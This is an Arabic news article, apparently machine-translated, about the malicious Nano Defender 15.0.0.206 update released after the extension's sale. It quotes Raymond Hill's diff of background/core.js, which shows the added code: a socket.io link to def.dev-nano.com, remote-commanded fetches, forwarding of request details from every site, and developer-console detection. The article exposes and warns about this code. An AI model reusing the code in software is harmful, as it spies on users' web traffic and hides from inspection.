في 3 أكتوبر 2020، مبرمج jspenguin2017 ، مؤلف تمديد نانو المدافع، أعلن في المستودع الرسمي أنه قد باع المشروع إلى "مجموعة من المطورين التركي". تسببت هذه الرسالة في الكثير من الشائعات والمخاوف: أي نوع من المطورين الأتراك ، من يتحكم في الكود ، لماذا تمت إزالة الصفحة التي بها سياسة الخصوصية من المستودع؟
بعد أيام قليلة ، كانت مخاوف المجتمع مبررة تمامًا.
Nano Defender هي طريقة شائعة إلى حد ما لتجاوز أدوات حظر الإعلانات. يعمل جنبًا إلى جنب مع أدوات الحظر uBlock Origin و Nano AdBlocker (fork of uBlock Origin) ، مما يحميها من الكشف على المواقع.
أصدر الأتراك على الفور إصدارًا جديدًا من Nano Defender 15.0.0.206 مع تغييرات وظيفية مقنعة بعناية لم يتم نشرها على GitHub. يشير الفحص الدقيق لهذه التغييرات إلى أن الإضافة بحاجة إلى إلغاء التثبيت لجميع المستخدمين.
تنطبق التوصية على المتصفحات المستندة إلى Chrome و Chromium ، حيث تتم ترقية الإضافات تلقائيًا دون إخطار المستخدم. لم يشتر الأتراك إصدار Firefox. أكد المشرف على ملحقات Firefox Nano ، المطور LiCybora ، أنه يحتفظ بالسيطرة عليها:هذه الملحقات آمنة . بالإضافة إلى ذلك ، يتحقق Firefox من التوقيعات الرقمية للامتدادات ، لذلك ليس من السهل على التعليمات البرمجية الخبيثة حشرها في إصدار جديد من الامتداد.
حلل رايموند هيل مؤلف UBlock Origin التغييرات في Nano Defender 15.0.0.206. وأشار إلى أنه تمت إضافة رمز للكشف عن إطلاق وحدة تحكم مطور الامتداد. في هذه الحالة ، يتم إرسال إشعار
reportإلى الخادم https://def.dev-nano.com/. بمعنى آخر ، يتابع المالكون أولئك الذين يحاولون معرفة كيفية عمل الامتداد. مع درجة عالية من الاحتمال ، في هذه الحالة ، يغير الامتداد وظائفه.إخفاء بعض الميزات هو خدعة برامج ضارة قياسية تكتشف وجود بيئة استكشافية مثل بيئة افتراضية.
في مثل هذه الحالة ، كان على ريموند هيل تعلم وظائف الإصدار الجديد من Nano Defender بدون وحدة تحكم مطوّرة. هذا ما وجده.
عند بدء التشغيل ، يستمع الامتداد
https://def.dev-nano.com/إلى الرسائل لملء القائمة listOfObject.
بقدر ما يمكنك فهم الكود ، في ما يلي
listOfObjectيتم استخدام محتويات القائمة للتحقق من حقول الكائن detailsالذي تم تمريره إلى webRequest.onBeforeSendHeaders () . وإذا كان كل المجالات تلبي شرط، ثم هو المحتوى الكامل للجسم detailsأرسلت إلى https://def.dev-nano.com/تحت اسم handleObject.
في هذه الحالة ،
webRequest.onBeforeSendHeaders()يعمل المعالج لـجميع طلبات الشبكة:
chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);
نظرًا لأنه
listOfObjectمطلوب من خادم خارجي ، يتم تثبيت وظيفة هذه الطريقة خارجيًا. يمكن أن تحتوي القائمة على أي شروط بأي كمية. بشكل تقريبي ، يمكن لمالكي الامتداد أن يطلبوا من المتصفح أي أجزاء من حركة مرور الشبكة الصادرة وفقًا لتقديرهم. وبالتالي ، أصبح توسع Nano Defender فعالاً في التجسس متعدد الاستخدامات.
قام ريموند هيل بنشر فرق غير متوفر في مستودع المالكين الجدد :
فرق لـ core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //نشر المطورون الأتراك سياسة خصوصية جديدة للتمديد. وفقًا لذلك ، يقوم الامتداد بجمع ونقل الكثير من المعلومات إلى الخادم البعيد ، بما في ذلك عناوين الصفحات التي تمت زيارتها ، ووقت الجلسات في كل صفحة ، وعنوان IP الخاص بالمستخدم والبيانات الأخرى. في السابق ، لم يكن هناك بند من هذا القبيل في اتفاقية الخصوصية.
بشكل عام ، يعد بيع الامتدادات مصدر دخل مشترك للمطورين المستقلين. بعد تثبيت الامتداد ، لا يعرف الكثير من المستخدمين أن الامتداد قد تم شراؤه من قبل المالكين الجدد ، وأن أجهزة الكمبيوتر الخاصة بهم قيد الاستخدام بالفعل في مشروع خارجي.
على سبيل المثال ، مالكو خدمة الوكيل SmartProxyتقدم لعملائها إمكانية الوصول إلى شبكة من عناوين IP المنزلية ، والتي تحتوي على حوالي 40 مليون عنوان IP - معظم العقد موجودة على أجهزة كمبيوتر للمستخدمين المطمئنين. تُستخدم أجهزة الكمبيوتر المنزلية هذه لتوكيل حركة المرور من العملاء الذين يدفعون. تستخدم
شبكة Luminati الأخرى أجهزة كمبيوتر للمستخدمين المنزليين الذين قاموا بتثبيت تطبيق HolaVPN المجاني كنقاط خروج. تشتري هذه الشبكة أيضًا ملحقات المستعرض الشائعة . من وجهة النظر القانونية ، يعد استخدام أجهزة الكمبيوتر المنزلية "العمياء" للمستخدمين لضخ حركة المرور التجارية حدثًا مشكوكًا فيه للغاية. لكن رجال الأعمال ما زالوا قادرين على تجنب العقوبة. أما بالنسبة لمبرمج jspenguin2017 ، فإن المجتمع
استنكر أفعاله غير المسؤولة لبيع الامتداد ، حيث شارك العشرات من المطورين الآخرين في دعم وإدراج Nano Defender. اتضح أن jspenguin2017 قد استثمر بمفرده ساعات عمل شخص آخر.
تمت إزالة ملحق Nano Defender بالفعل من سوق Chrome الإلكتروني.